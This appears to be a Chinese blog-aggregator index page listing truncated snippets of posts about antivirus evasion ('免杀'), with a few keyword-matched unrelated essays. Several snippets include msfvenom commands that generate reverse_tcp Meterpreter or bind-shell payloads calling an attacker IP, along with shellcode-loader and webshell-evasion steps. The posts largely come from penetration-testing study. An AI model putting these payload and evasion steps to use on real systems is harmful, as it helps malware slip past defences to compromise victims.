veil免杀

红队培训班作业 | 免杀过360和火绒 四种方法大对比

MS08067红队培训班第12节课作业本文作者：汤浩荡（红队培训班1期学员）按老师要求尝试完成布置的作业如下：环境准备：Kalilinux安装cs4.2，Windows7系统安装火绒杀毒和360杀毒，为测试免杀并且防止联网查杀
Ms08067安全实验室·2021-08-16 07:00

后渗透免杀返回shell教程

一天一个入狱小技巧,教程地址:https://www.bilibili.com/video/BV1xa4y1p7Kr
表弟_十七·2021-06-08 20:34

无力吐槽的命运

话说过年家家户户不免杀鸡杀鸭的，一邻居抱怨说：哎呀，今早就要杀了，结果忘记了，还喂了一肚子饱饱的。我九十岁的爷爷接话了：过去犯人要砍头的时候还得给一顿饱，你就多喂一把谷子又算得了什么。
不思九八·2021-06-05 13:13

powershell加密、压缩 免杀实战

结合"PowerShellcrypter"工具(下面用简称"crypter")来对powershell脚本进行加密并采用Gzip/DEFLATE来绕过杀软1、msfvenom生成powershell反弹马msfvenom-pwindows/x64/meterpreter_reverse_tcpLHOST=192.168.81.253LPORT=5555-fpsh-reflection>hacksh
城市烈人·2021-06-04 14:22

探索跟盈利矛盾

新证明新数据，容错，不很确定的，隐藏免杀的走两步，共存，但总的仍掌控。大数据动轨迹。仍在我的掌控下，动，所以为监控。有限的资源开发监控非常不
gbaidu2009_·2021-05-28 07:46

python免杀技术---复现+改进----1

0x01复现复现文章：https://mp.weixin.qq.com/s?__biz=MzI3MzUwMTQwNg==&mid=2247484733&idx=2&sn=5b8f439c2998ce089eb44541d2da7a15&chksm=eb231%E2%80%A6首先用cobaltstruke生成一个python的payload脚本然后复制里面的payload进行Base64编码：加密
go0dStudy·2021-05-22 20:44

python免杀技术---shellcode的加载与执行

0x01生成shellcode首先通过下列命令生成一个shellcode，使用msfvenom-p选项来指定paylaod，这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。msfvenom-pwindows/x64/execCMD='calc.exe'-fpy0x02加载与执行shellcode的
go0dStudy·2021-05-22 15:07

使用Metasploit对Windows系统渗透测试——加壳免杀花指令

文章目录前言一、准备工作1.生成被控端攻击载荷2.生成主控端handler二、获取winxp的shell三、获取win7的shell四、获取win10的shell1.免杀+捆绑2.加壳+压缩3.花指令4
我重来不说话·2021-05-21 21:51

WAF绕过--小马绕过

WAF绕过之小马免杀WAF：安全狗-Apache版v4正常的PHP一句话木马：对于这个正常的一句话木马，安全狗会拦截。关于拦截其实最主要的还是测试，看看Waf究竟怎么拦截。
wwxxee·2021-05-17 22:22

我想我们在这里会好好的

因为去超市买东西，玛蒂达才得以避免杀生之祸，她径直走向里昂的房间，急促的敲门。并用颤抖恳求的声音说道，请开门！里昂虽有所犹豫终究还是打开了那扇关乎玛蒂达生死
夏天丫头·2021-05-08 13:15

shellcode免杀思路

shellcode免杀思路使用msfconsole生产的shellcode之后正常写入到程序的内存里面的话会直接被杀毒软件静态查杀就能杀掉。
不吃茄子的汪·2021-05-04 23:33

使用msf渗透安卓系统

meterpreter/reverse_tcpLHOST=192.168.1.7LPORT=5555R>/root/apk.apkLHOST本地的IP地址LPORT反向连接到主机的端口R>木马生成的保存输出路径至于木马的免杀暂且不谈
__周__·2021-05-04 14:10

《the painted veil（面纱）》札记——沃尔特之殇

《thepaintedveil》你为什么要瞧不起自己？因为我爱你。爱而不得，却又离不开放不下。其实没有卑微的爱，我们错觉卑微，是因为在我们看来，某一份爱里，那付出是不值得。背叛终要救赎，在一起也永远不会幸福，所以懦弱的、勇敢的、睿智的、无私的、奉献的沃尔特决绝一死。可他终于还是没有解脱。只有一种办法赢得人心，那就是让自己成为人们会去爱的人。我屈服于你是因为我想要你,但那不是真正的我。我不是那个可恶
一只野生老师·2021-04-29 18:15

使用msf渗透安卓系统

meterpreter/reverse_tcpLHOST=192.168.1.7LPORT=5555R>/root/apk.apkLHOST本地的IP地址LPORT反向连接到主机的端口R>木马生成的保存输出路径至于木马的免杀暂且不谈
二潘·2021-04-20 15:06

python 免杀验证

使用Metasploit生成C语言风格的一些shellcode作为载荷，这里使用Windowsbindshell，功能为选定一个TCP端口与cmd.exe进程绑定在一起，方便攻击者远程连接进行操控。输入命令：msfvenom-pwindows/shell_bind_tcpLPORT=1337-fc-opayload.c接着在Python中调用ctypes库，定义一个存在该shellcode的变量，
SkTj·2021-04-19 05:15

windows免杀工具三部曲（二）

前言在渗透测试中经常遇到有杀毒的软件，不会代码层的我只能寻找几款不错的免杀工具。进行傻瓜式配置。
CSeroad·2021-04-18 17:49

windows免杀工具三部曲（一）

前言在渗透测试中经常遇到有杀毒的软件，不会代码层的我只能寻找几款不错的免杀工具。进行傻瓜式配置。
CSeroad·2021-04-18 09:46

利用python免杀cs shellcode

0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年。在途中，偶遇了黄河，没错，它
蚁景科技·2021-04-14 21:19

免杀工具FourEye(重明)

首先感谢作者lengyi，感觉玩Web的除了一部分因为工作原因不需要接触免杀，其他的一些做渗透的都需要接触免杀，但是里面也有很多代码能力不足的同学，个人感觉挺需要这种一键免杀的工具。
LMcream·2021-04-12 23:42

博客

主要方向：java代码审计内网渗透免杀渗透测试
唐小风7·2021-04-12 15:25

metasploit简单实战 获得win7shell

两台虚拟机kali：192.168.56.158win7：192.168.56.1451.使用metasploit的msfvenom生成木马然后你可以通过各种方式把木马搞到别人电脑上最好做一下免杀处理，
luckyQAQ·2021-03-11 05:31

windows免杀工具-加载shellcode

前言HW在即，免杀是通往内网的重要桥梁。手里多备点免杀工具总是没错的。
CSeroad·2021-02-09 15:03

windows命令行反弹shell(一)

powershell反弹cmdpowercat是netcat的powershell版本，功能免杀性都要比netcat好用的多。
CSeroad·2021-02-05 10:33

（记录向）Python反序列化免杀上线CS（并使用Shielden加密绕过360）

1、首先cs生成一个64位的PythonPayload2、截取其中的Payload，并进行base64编码。3、把这一串子base64放到VPS上。并开启web服务。python3-mhttp.server77774、使用以下脚本。将PythonPayload进行反序列化。importpickleimportbase64shellcode="""importctypes,urllib.reques
daxi0ng·2021-01-31 11:41

Metasploit实现木马生成、捆绑及免杀

木马的捆绑在社会工程学中是我们经常使用的手段，而为了躲避杀毒软件的查杀，我们又不得不对木马进行免杀处理。
·2021-01-26 02:51

杀毒与免杀技术详解---白嫖党福音

简介不管是社工钓鱼，还是一句话木马getshell，远控，亦或者是反弹shell，都会遇到杀软waf这些大敌，当然主要还是杀软，因此我们不得不考虑免杀进而实现我们渗透测试目的。
程序猿小白^·2021-01-15 13:43

一句话木马以及免杀

此篇只讨论php，其实原理是相同的，本文的思路依然适用于其他语言WAF一般都是维护一个规则库，记录webshell常用的函数、方法等等，通过这个规则库匹配从而检测是否是木马.当匹配上对应特征时就是告警，但是规则匹配肯定会有误报，waf一直告警也很烦，所以waf一般会稳定为首要目标，也会放宽一下规则，这就是绕的基础查杀软件我首先：D盾『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护
fuqin.ltd·2021-01-08 17:02

pyinstaller+cs生成免杀exe过杀毒软件

pyinstaller+cs生成免杀exe过杀毒软件简介：之前学习免杀都是使用Metasploit自带的编码进行，从未成功过。
Dmct·2021-01-01 21:44

.htaccess 文件不工作_手撕CTFHub-Web(六)：文件上传

用的Webshell是在真实的网站中获取的，我把这些Webshell保存了下来，都是免杀的无验证1.因为没有验证，直接上传了一个webshell，还告诉我传到了哪儿。
撒哈巴拉卡达西亚·2020-12-30 03:28

CS木马免杀(绕过360杀毒与腾讯安全管家)

CS木马免杀(绕过360杀毒与腾讯安全管家)步骤1搭建服务器.
为你而来xss·2020-12-29 17:55

【免杀】加载LSB隐写shellcode

参考资料：B站yuppt【学习分享】分离免杀shellcode#include《stdlib.h》作用#include〈stdio.h〉有什么作用C/C++文件读写操作——FILE*、fstream、windowsAPIfseek
Sp0n·2020-12-19 23:15

python 生成payload_利用python免杀cs shellcode

原创AgeloVito合天智汇0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年
weixin_39834488·2020-12-05 19:52

python pointer_免杀 | 利用Python免杀CS Shellcode

0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年。在途中，偶遇了黄河，没错，它
weixin_39842617·2020-11-27 08:31

php5.5 反序列化利用工具_利用Python反序列化运行加载器实现免杀

前言前几天在看Python的shellcode加载器，在网上找了一个，结果加载器自身就过不了火绒，测试发现是火绒对关键语句进行了识别。所以我们要想办法去掉加载器中明显的特征。原理及实现在绕过静态查杀方面，主要就是要隐藏特征，比较常见的就是各种混淆、加密，但加密后的代码到最终还是需要去执行它才行，代码执行这一个操作其实特征也是很明显的，像exec、eval、os.system、subprocess.
weixin_39558521·2020-11-25 18:04

PHP后门隐藏的一些技巧总结

前言如果想让自己的Webshell留的更久一些，除了Webshell要免杀，还需要注意一些隐藏技巧，比如隐藏文件，修改时间属性，隐藏文件内容等。
·2020-11-19 09:13

【漏洞利用框架】Metasploit基本使用

漏洞利用四、漏洞攻击流程1、搜索攻击模块2、进入模块3、查看模块所需参数4、设置配置参数5、查询该模块下的payload6、设置payload7、启动服务五、永恒之蓝六、meterpreter会话管理七、免杀八
是Z先生·2020-09-28 15:48

20155236范晨歌_EXP3免杀原理与实践

20155236范晨歌_免杀原理与实践免杀概述免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写VirusAV），逐字翻译为“反
djt1999·2020-09-17 16:37

Metasploit——msfvenom免杀木马

msfvenom命令的参数Options:-l,--list#列出所有可用的项目，其中值可以被设置为payloads,encoders,nops,platforms,archs,encrypt,formats等等-p,--payload#指定特定的Payload，如果被设置为-，那么从标准输入流中读取--list-options#列出--payload的标准，高级和规避选项-f,--format#
小白白@·2020-09-15 09:36

黑客工具

[木马]·全套asp全免杀马(海洋,老兵,小马.....)共四个asp木马,经过检测全都免杀!
hehe0108·2020-09-15 07:44

Mimikatz的18种免杀姿势及防御策略

PS：建议：win10慎用，唉，伤心然后按照里面的的步骤一步步去执行，有很多错误，所以如果您只是看技巧的话，可以去原文查看哦。或者读的时候略过我的错误部分啦。>_$wc=new-objectnet.webclientC:\Users\Xor0ne\Desktop>$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCr
小样！！！·2020-09-14 21:06

MSF里侦听模块的使用教程 exploit/multi/handler

如果想过墙只能自己加免杀的代码喽，反正我是还没学到呢。或者去百度shellter下载剥壳机自己加免杀的，有两个版本免费版和专业版，本人亲测免费版过不了windo
F&G·2020-09-14 20:59

【免杀篇】远控免杀专题(69)-Mimikatz的18种免杀姿势及防御策略(下)

当你的才华还撑不起你的野心时那你就应该静下心来学习目录方法11-用C#加载mimikatz(VT查杀率35/73)方法12-JS加载mimikatz(VT查杀率22/59)方法13-msiexec加载mimikatz(VT查杀率25/60)方法14-白名单msbuild.exe加载(VT查杀率4/59)方法15-JScript的xsl版(VT查杀率7/60)方法16-jscript的sct版(VT
Agan '·2020-09-14 17:27

VirtualApp技术黑产利用研究报告

VA免安装运行APK的特性使得VA内应用与VA相比具有不同的应用特征，这使得VA可用于免杀。此外，VA对被多开应用
lee咸鱼·2020-09-14 14:34

必须转载:Metasploit Pro 完全免杀

Becomeinvisibletoanti-virusprotectionWouldn’titbefantastictobeinvisibleforaday?Walkstraightintoabankvaultinthemorning,beaflyonthewallintheOvalOfficeforlunch,andspendaneveninginyourfavoritemoviestar’sh
weixin_33853794·2020-09-14 08:47

[原创]K8uac bypassUAC(Win7/Wi8/Win10) 过46款杀软影响所有Windows版本

不但支持全系统而且还免杀,你让我上哪说理去。免杀报告:http://r.virscan.org/language/en/report/2b1a191
weixin_30335353·2020-09-14 07:17

Kali Linux 64位架构安装Veil-Evasion

KaliLinux64位架构安装Veil-EvasionVeil-Evasion是一种生成有效载荷可执行文件的工具，可绕过常见的防病毒软件。
大学霸_ITDaren·2020-09-14 07:19

msf反弹木马之免杀

原理利用msf模块中的msfvenom模块，首先生成.exe木马文件，用靶机打开，攻击成功后，就渗透到了靶机系统中。准备win7靶机ip：192.168.56.130kali攻击机ip:192.168.56.135##实战开始1.打开kali机，在命令行输入：msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.56.135lport=123
imbia·2020-09-14 07:08

veil-evasion 在xp下的三分之二免杀

1.apt-getinstallveil-evasion2.List--查找相应的木马生成模块3.选择354.Options--查看需要设置的选项5.Setuse_pyherionY6.Generate7.选择1.msfvenom（defualt）8.设置本机ip10.10.10.128，端口44449.重命名木马xx.rc10.选择1pyinstaller（default）11.找到生成的木马文
a439017985·2020-09-14 05:47

Crack8 + QQ吻的教程更新110个（20091016）

Crack8+QQ吻的教程更新110个（20091016）QQ吻QQ396890445有偿收徒软件脱壳木马病毒免杀VB编程诚信交易骗子勿扰^O^点此查看QQ吻最近更新教程^O^QQ吻==VB黑客编程班教程
K8_team·2020-09-13 14:02

分享一个远程控制软件源代码

没有怎么去优化，也不免杀，有很多Bug遗留。放出代码也仅仅是为了给远程控制爱好者作为入门级的参考。因为现在很久没有用C++做windows上面的开发了。电脑上也没安装visualstudio。
Witch_Soya·2020-09-13 05:52
上一页 5 6 7 8 9 10 11 12 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他